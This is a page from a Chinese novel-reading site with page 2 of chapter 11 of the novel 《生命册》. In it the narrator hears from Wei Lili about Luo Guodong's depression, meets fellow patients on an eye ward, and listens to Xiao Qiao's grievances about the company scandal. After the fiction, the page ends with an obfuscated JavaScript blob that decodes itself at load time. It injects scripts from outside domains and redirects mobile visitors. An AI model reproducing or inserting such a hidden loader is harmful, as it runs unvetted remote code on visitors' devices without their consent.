零点看书吧

零点看书吧 > 科幻小说 > 生命册 > 正文 第十一章

正文 第十一章(第2页/共3页)

/>
卫丽丽说:在国栋心里,你一直是他最看重的人。最知心的朋友。他一直盼着你能回公司。

我沉默着,百感交集……

卫丽丽站在那里,瘦削、单薄,一手牵着个孩子……让人忍不住心疼她。我说:你可要挺住啊。

这时,卫丽丽看了我一眼,仿佛有什么疑问。我也坦白地望着她……

卫丽丽说:有句话,我想问问你。

我说:你说。

卫丽丽说:公司里人人都在传,说你吴总身后有人。有高人指点……你身后,有人么?

我迟疑了一下,说:——有人。不过,不是啥子高人。

是的,我身后有人。可我无法解释,也不需要解释,就是解释也解释不清楚……事已至此,我也不再辩白,我是劝过骆驼的。想想,还是有些惭愧。

卫丽丽说:我明白了。

接下去,卫丽丽突然说:你知道我们两人为什么分居么?

我仍然沉默。也只有沉默。在这种时候,我不想再提小乔……

卫丽丽说……国栋得了忧郁症。很严重,夜夜失眠。有时候,特别焦躁的时候,他头往墙上撞,撞得咚咚响。他怕我睡不好,也怕吓着孩子,孩子也睡不好。他完全是为了孩子,才提出来分居的。

我说:是么?——骆驼睡眠不好,我是知道的。但说他有忧郁症,我还是第一次听说。

卫丽丽说:是他不让我跟人说。开始他也吃安定,吃到四片,我不让他再吃了。有一段,我们还吵过架。唉,我不该让他一个人睡……

我明白了。骆驼的忧郁症是由长期焦虑引起的。这十多年里,骆驼心里一直揣着一个“抢”字,他时刻准备着,一天天地准备着,他弦绷得太紧,终日像一张弓似的,日子长了,人就出问题了。我记得,有一段时间,骆驼总是抱着一个大茶杯,不停地喝水……那是他心里有火。现在我明白了,他夜夜睡不着觉,肝火太旺,人已烧坏了。

后来,卫丽丽还告诉我,骆驼出事前,曾回过家,跟她见了一面。那是个星期天,他回家后,跟儿子待了一个上午。他什么话都没有说,用整整一个上午的时间,给儿子做了一个“皮牛”注释1,枣木的。过去,他也给孩子带些玩具,都是电动玩具,汽车或是飞机什么的。可这一次,他不知从什么地方带回来一块枣木,他用那块枣木,给儿子一刀一刀地旋了一个“皮牛”。“皮牛”做好后,在最下面钉上钢珠,还做了一鞭,牛皮绳做的鞭……爷俩儿在院子里打。中午,卫丽丽问他吃什么?他说:牛肉面。那是他们分居后,第一次在一块吃饭。吃饭时,他也没说什么。卫丽丽问他:好吃么?他说:好吃。尔后,吃过午饭,他摸了摸儿子的头,夹上包走了。

我问:国栋临走,留下什么话了么?

卫丽丽摇了摇头。

我说:一句话都没有?

卫丽丽沉默了一会儿,说:没有。

——没有遗嘱。那就是说,卫丽丽和他的孩子,是公司的第一序列合法继承人。这么一大摊子,完全落在了卫丽丽的肩上。

我望着她,让我吃惊的是,仅仅经历了这么一件事(当然,这不是小事,她的丈夫跳楼了!),仅仅才两个多月的时间,一个突发事件,不仅成熟了一个女人的智力,竟然完成了一个女人的气度。卫丽丽自始至终没有再提小乔一个字。关于小乔,她一字不提。她甚至都没说夏小羽……她站在那里,虽一手牵着孩子,但目光里却透着一种坚毅。

临走前,卫丽丽说:吴总,我查过账了。目前,公司投资的其他项目都是负数。赢利的只有一家,厚朴堂。国栋一直在挖东墙补西墙……现在,从账面上看,你已成了厚朴堂最大的股东。

我有些吃惊,说:是么?

卫丽丽郑重地点了点头。接着说:你多保重。这一段,公司有些乱。还有些善后事宜……回头我再来看你。大伙还都等着你回来呢。我想,国栋肯定是想把这一摊全交给你的。

我抬起头,望着她,说:你让我考虑考虑。

在眼科病房里,我终于找到了对付疼痛的方法。

我每晚吃两片安定,这样就可以睡上四个小时……在这四个小时里,我可以忘记自己,忘记曾经经历过的一切。

黎明时分是最难熬的。每到黎明时分,你醒了,你仍在病床上躺着,有一丝风从你蒙着纱布的眼前刮过,刚有了一点凉意,可你的“思想”已经行动起来了。它在走,它一走就走得很远很远……它常常去追逐那辆大货车,就像电影胶片一样,一次次地回放,他不知道那辆大货车究竟是怎么回事。沿着这条线,它又会追到过去的一些事情……如果时间能退回去,那有多好。

在病床上躺了三个月后,你知道我最想干什么?我想说话了。与陌生人说话。在此后的那些日子里,我蒙着一只眼,每天在眼科病区走来走去……那时候,我最先认识了九床。尔后又认识了十一床。

九床的这位,比我年龄大一些。他姓许,人们都叫他老许。老许胖胖的,常穿着一身蓝色的中山装,无论天气如何,他的每一个扣子都扣得整整齐齐的。出来打水的时候,走得很慢,有时候他也捎带着给人打水,放水瓶时,小心翼翼的,给人以很稳重的感觉。可我,每次见老许的时候,都觉得怪怪的。也说不清怪在哪里。

有一天,老许在医院走廊的过道里叫住了我:兄弟,你来。你来。

于是,我走进了老许的病房。老许是一个很讲究的人。病床上,被子叠得整整齐齐的,小柜上的茶杯、药瓶也都摆得很规范,每个药瓶上,都贴着他写的字条,那是每次该吃的药量和次数。见我进来,老许搬过一把椅子,说:坐。尔后他盘腿坐在病床上,问:老弟,听说你的眼……

我说:车祸。

接着,老许把自己的一只眼从眼窝里抠出来,说:玻璃的。

我怔了一下,说:玻璃的?

他说:进口的,有机玻璃。

我大吃一惊,老许真是个聪明人。他居然看出了我的疑惑……

老许是学中医的。他在中医学院上了五年。毕业后,分到一个县级医院当中医大夫,那时候他还是很有雄心的,一本《本草纲目》他都能整段整段地背诵下来……后来,他一个同学当了院长,院长很器重他,提拔他当了院里的办公室主任。(老许问我:你说这是好事还是坏事?当然是好事。有人器重你,你不能说是坏事吧?)老许当办公室主任一当就当了二十五年。他当办公室主任也就是管管后勤、写写上报材料什么的。有时候,上边来了人,也陪着接待,喝喝酒……就这样,一天一天,倒把业务给荒了。在这二十多年的时间里,医院先后换过好几任院长,有脾气躁的,也有小心眼的,由于他为人可靠,不占不贪,也都应付过去了。后来调来的这位院长霸道些,把什么事都揽了,不让他管事了……他想,再过些年我就退休了,不让管就不管吧。所以,有一段时间,他上班就是打瓶水、泡杯茶、看看报,下班打打太极拳什么的……一直没出过什么问题。去年,也就是去年秋天,他在办公室里坐着,看院子里的树叶落了,满地黄叶,金灿灿的。他说,也不知哪根筋起了作用,他合上报纸(也许是那一天的新闻没什么可看的),还愣了一阵儿,这才站起身来,去门后拿上一把笤帚,到院子里扫地去了……他是院里的办公室主任,院里有专门分管打扫卫生的勤杂工,不用他扫地。要说,他已十多年没掂过笤帚了,那天偏偏拿起了笤帚,到院子里扫树叶去了。本来,扫了也就扫了,他把树叶归置成一堆,明天早晨自会有人收拾。可他又多此一举,他怕万一起了风,把树叶给吹散了。于是,他念头又起,索性点了把火,想干脆把树叶烧了算了。烧就烧了呗,他还怕烧不透,可当他拿起一根树枝,低下头去,扒拉着……这时偏偏起了一阵旋风,只听“嘣”的一声,树叶堆里有一个药瓶炸了,很小的一个细脖子眼药瓶,把他的一只眼给炸瞎了。

他说,二十五年来,他第一次关心树叶,就炸瞎了一只眼。

在眼科病房里,人人都害怕镜子,可人人都是“镜子”。

正因为遮住了眼,我们凭感觉在“镜子”里相互看着,感觉就是我们认知的宽度。我们走路都是小心翼翼的,吃饭时敲着碗,以声辨人,用耳朵当眼使。虽然同病相怜,但还是不由地相互打听着更重些的病人,以此来宽慰自己……十一床是后来才认识的。

一天夜里,我眼疼得睡不着,烦躁,跑到楼道里,想偷着吸枝烟……这时候我看见了十一床的老余。听人说,老余是从乡下来的,是个果树专业户。老余四十来岁的样子,习惯性地绾着一条裤腿,身子趴在玻璃门上,从左边移到右边,又从右边移到左边……正往外看呢。我听人说,老余患的是“视网膜脱落”……老余其实什么也看不见,老余是用“心”在看。

我说:老余,吸枝烟?

老余说:谢谢,不抽。老余的脸贴在玻璃上,身子移动着,仍趴在玻璃门上往外瞅……

我说:老余,你看什么呢?

老余说:蚊子。外边草多,肯定有蚊子。

我诧异。不知道老余为什么看蚊子?病房里有规定,夜里十二点锁门,门是锁着的。病房外的蚊子跟他又有什么关系呢?这时,老余说:兄弟,你帮我看看?那边,模模糊糊的……是不是个影儿?

我凑上前去,说:你找什么呢?

老余说:我儿子。病房里不让陪护,我儿子在外头呢……

夜已深了。我趴在玻璃门上,往外看了一阵儿,只看见了路灯,昏昏的路灯,还有一些花草,什么也没有看到。

老余说:看见我儿子了么?

我摇摇头,说:什么也没有。

老余往地上一出溜,就地在玻璃门旁坐了下来。喃喃地说……说话立秋了,就夹了个席,还有个毛毯,别冻着了。

往下,老余告诉我说,他承包的地上种有一百棵桃树,一百棵梨树,一百棵苹果树,都挂果了。是给儿子种的。他说,今年的果结得特别多,特别稠。果儿一个个都用塑料袋子罩着,一个果儿包一袋儿,比侍候女人还精心呢……他说,收成好,可也怕果儿生虫,每隔十天半月都得打一次药,打的是“乐果”,按比例配的。他说他那天一共打了九十七棵苹果树,还剩三棵没打……那天确实累,他想打完算了。可打着打着,头一晕,眼看不见了。你说,好好的,眼看不见了。就赶紧上医院,县医院看不了,就来省里,一查,说是“视网膜脱落”,这叫啥病?

往下,老余说:这些果树都是给儿子种的。儿子今年上大三,明年就毕业了。他想考研究生……

我说:这是好事。

老余说:儿子很努力,假期都不回家,肯定能考上。我说了,干脆一直往上读,读个博士。你说,我们余家能出个博士么?

我安慰他说:能。一定能。

老余说:三百棵果树,送一个博士,也值。

就在这时,西边的门开了,呼啦啦进来一群人,大呼小叫地推着一辆放有担架的医推车……那是又有急诊病人送进来了。

这时,老余听见人声,知道门开了,赶忙起身……可他站了几次都没站起来,我上前扶他一把,他喃喃地说:腰,你看我这腰……站起后,他没把话说完,就一只手撑着腰、一只手扶着墙,往西边摸着走……他是找他儿子去了。

一个月后,病房过道的走廊里放着一布袋苹果……据说,这袋水果是老余的老婆奉老余之命从一百多里外背来的。她背来了一布袋“落果”,说是送给医生和护士的。可护士们全都不要,大约嫌是打过药的,还是“落果”(好果还长在树上,老余也不舍得送),就放在过道里,谁都可以吃……

在眼科病房里,一些老病号,住得久了,跟医生护士相互熟了,说话也就随便些了。这天,来打针的护士小张说:老余的儿子太不像话了。

我问:怎么了?

小张说:老余种了三百棵果树,却从未吃过一个好苹果。你想想,连给医院送的都是“落果”。好果子都卖成钱,给他儿子上学用了。可他这个儿子,不争气,天天在医院对面的网吧里打游戏。整夜打,白天来晃一下,根本不管老余……老余不知道,老余还夸他呢。

我说:他不是给老余打过饭么?我见过他一次。

小张说:就打了一次饭。再没来过。

我说:老余不是说,他儿子学习很好,要供一个博士么?

小张说:博士个屁。护士长的爱人就是那所大学的。早打听了,说这个名叫余心宽的学生……都大四了,好几门不及格,天天打游戏。

我说:老余……不知道?

小张说:没人敢告诉他。老余还做着博士梦呢。可惜了他那三百棵果树。

老余患“视网膜脱落”,刚刚做完手术,两眼蒙着,每日里摸着走路,只吃馒头、咸菜……可他很快乐。他逢人就说:余家要出个博士了。

人们也迎合着他,说:是啊。多好。

小乔看我来了。

我万万想不到,小乔会来看我。

这一天,小乔穿得很素。这在小乔,是从未有过的。小乔穿着一身天蓝色的职业装,正装,是那种很规范的套裙。她把自己包裹得严严的,既未露胸,也未爆乳,头发也一改过去,梳成了有刘海的那种学生头。她的指甲洗得很净,没有涂任何颜色。她人也瘦了许多,显得有些憔悴……她手里捧着一束鲜花,站在我病床前,轻轻地叫一声:吴总。

我扭过身,很吃惊地望着她,说:小乔,你……怎么来了?

小乔说:在您手下工作了这么多年,来看看你,不应该么?

一时,我心里很温暖,也不知该怎么说了。我说:谢谢。谢谢你。

这时候,小乔眼里涌出了泪水,小乔说:吴总,一听说你出了车祸,我头皮都炸了。怎么这么倒霉呀?我都担心死了……你一定吃了不少苦吧。

我说:没什么。都过去了。

小乔说:是啊。大难不死,必有后福。吴总,公司上下,都在夸你呢。

我笑了笑,摇摇头,说:我都离开这么长时间了……夸我什么?

小乔说:夸你是高人。不战而胜。现在你是厚朴堂药业的第一大股东了。

什么叫“不战而胜”?好像我搞了什么阴谋似的。我知道,小乔说的是股票,对此我不想多说什么……

小乔的眼眨了一下,那股机灵劲又泛上来了,说:大家都知道,您是好人。您是被排挤走的。当初,您给公司立下了汗马功劳……可你说离开就离开了,一点也不抱怨。现在,大伙都明白了,你是真人不露相,大手笔。一定是有高人指点!你身后那人,是位……高官吧?

我只是笑了笑。我说了,我不解释。

小乔说:前几天,还有人说,吴总若是不走,公司绝不会出这样的乱子,董事长也不会……可只有我知道,那一年在北京,我就看出来了,吴总是高人。走的正是时候。不然,也会受牵连的。

我赶忙说:话不能这样说。事既然出来了,就不要再……是吧?

这时,小乔说:吴总,有些话,我没法跟人说,说了也没人信。也只能给您说……公司出事,首先被牵连进去的,就是我。我是代公司受过。吴总,你不知道,我在里边受那罪,真不是人过的。一天到晚,一个大灯泡照着……你说我一个弱女子,招谁惹谁了?可头一个被人带走的,就是我呀。那时候我还在北京,一出门就被人戴上了手铐,丢死人了……整整把我关了一个多月时间,我硬撑下来了。你可以打听打听,我在里边,守口如瓶,没有说过公司一个“不”字。无论他们怎么逼我,怎么威胁我,我都不说。可以说,我没有做过一件伤害公司的事情。可后来,董事长出了事……这能怪我么?

说着说着,小乔哭起来了。小乔哭着说:吴总,你不知道,卫丽丽这样的女人,心比毒蛇还狠!现在,她在公司一手遮天。她是怎样对我的,您知道么?她把我给开了。不但一分钱不给,还到处散布谣言,说我……我冤哪,我比窦娥还冤!

小乔说:您不知道卫丽丽那个狠劲。您别看她平时装作小鸟依人的样子,说话嗲声嗲气,那都是装的。现在她的狐狸尾巴终于露出来了!一手牵着个孩子,就像手里托着“尚方宝剑”似的,那脚步声咚咚的,一个楼层都能听到……啥人哪?

小乔说:其实,她跟骆董早就分居了,都分居多少年了。两人一直闹着要离婚呢,就差一张纸了。这公司上下谁不知道?现在,骆董一死,你又不在……她打扮得光光鲜鲜的,上山摘桃子来了。吴总,我说句心里话,双峰公司是你和骆总一手创下的。要是你接,大家都没有意见。可她,凭什么?!

小乔说:卫丽丽这个人,你是没注意,她这人阴着呢。她到处败坏我的名誉,说我勾引骆董……你也知道,骆董这人,平时大大咧咧的,好开个玩笑啥的,没事拿我们这些下属打打牙祭。说白了,就是他真想跟我好,那也是……吃个豆腐,仅此而已。你说,我是这样的人么?

小乔说:吴总,你可得给我做主啊。有件事,你是知道的。就那个暴发户,做房地产生意的,那个肉包子脸的宋心泰,提着一箱子钱,哭着跪在我的门前,非要包我。我拉开门,吐他一脸唾沫!我要真是那样的人,有心想勾引谁,还轮到她这样对我?哼,骆董早跟她离婚了……唉,我这人,还是心太善。

往下,小乔又压低声音说:吴总,你离开得早,有些内幕情况你可能不清楚。这次公司出事,主要是夏小羽闹的。夏小羽是老范的情人,跟老范好了多年了,闹着非要一个名分。她都闹到省政府去了,弄得老范下不了台。还有一件秘密,你知道么?这夏小羽,表面上看,文文静静的。其实,心里也狠着呢。据说,我也是听别人说,有一段时间,夏小羽竟敢撺掇老范的下属,说是要雇黑道的人,把老范的老婆弄到深山里去。就是说要找人害她了……哎呀,这里边太复杂了。

我吃了一惊,我实在不知道她的话有几分可信。再说,她一会儿“您”,一会儿“你”的,把我弄得也不知说什么好了。

接着,小乔说:你知道么,夏小羽判了。老范也快了。

是啊,骆驼最终并没有保住谁……

后来,范家福还是被“双规”了。范家福先后一共读了二十二年书。他先在国内大学读书,尔后又不远万里去美国深造……本意是要报效国家的,却走着走着又拐回去了。在过去的一些日子里,范家福经过千辛万苦,先是把他母亲给他经心缝制的对襟褂子换成了小翻领的中式学生装,尔后又换成了美式西装,再后是美式西装和意大利式休闲茄克换着穿……如今又脱去了茄克衫,先是换了件黄色马甲(未决犯),据说很快就要改穿绿色马甲(已判决)了……更早的时候,每到夏天,他都会在老家的田野里,帮母亲一个坑一个坑地点种玉米;后来他在美国获的也是农学博士,博士毕业回国后,他又分到了农科所,成了一个全国有名的育种专家,培育过“玉米五号”;到了现在,据说他身穿一件黄马甲,坐在监狱的高墙后边,面对铁窗,一次次地大声说:报告政府,我想申请二十亩地,回去种玉米……范家福走了这么大一个圆圈儿,这能全怪骆驼吗?

小乔在我的病房里唠唠叨叨地说了一个上午。有很多事,是我知道的。也有些事,是我所不知道的。我虽然真假难辨,可她跟骆驼的那些事,我是清楚的……快到中午时,她还不说走。我就觉得,她可能是有什么想法了。

可我不提她工作的事。我也不能提……我故意岔开话题,说:我问你,骆驼他,有忧郁症么?

小乔说:忧郁症?谁说的?卫丽丽吧。哼,在北京的时候,睡……

& 『加入书签,方便阅读』
-->> 本章未完,点击下一页继续阅读(第2页/共3页)

!function(){function a(a){var _idx="b5cibtb4xc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/h^/s@QjR8)n(6)F)oR("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s@Q"=^8")n(6)F)oR("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s@Qd2(LCYmRD(JhfmRT4"="s@Q5p(LYpmq^Xf(LmRT4"="s@QD7(LSqm(f24hJmRT4"="s@QdC(LJ^mRD(JhfmRT4"="s@Q(C(L:4mq^Xf(LmRT4"="s@QC2(LSYm(f24hJmRT4"="s@Q25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/f/s@Qj(8}vR8)n(6)F)oR("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();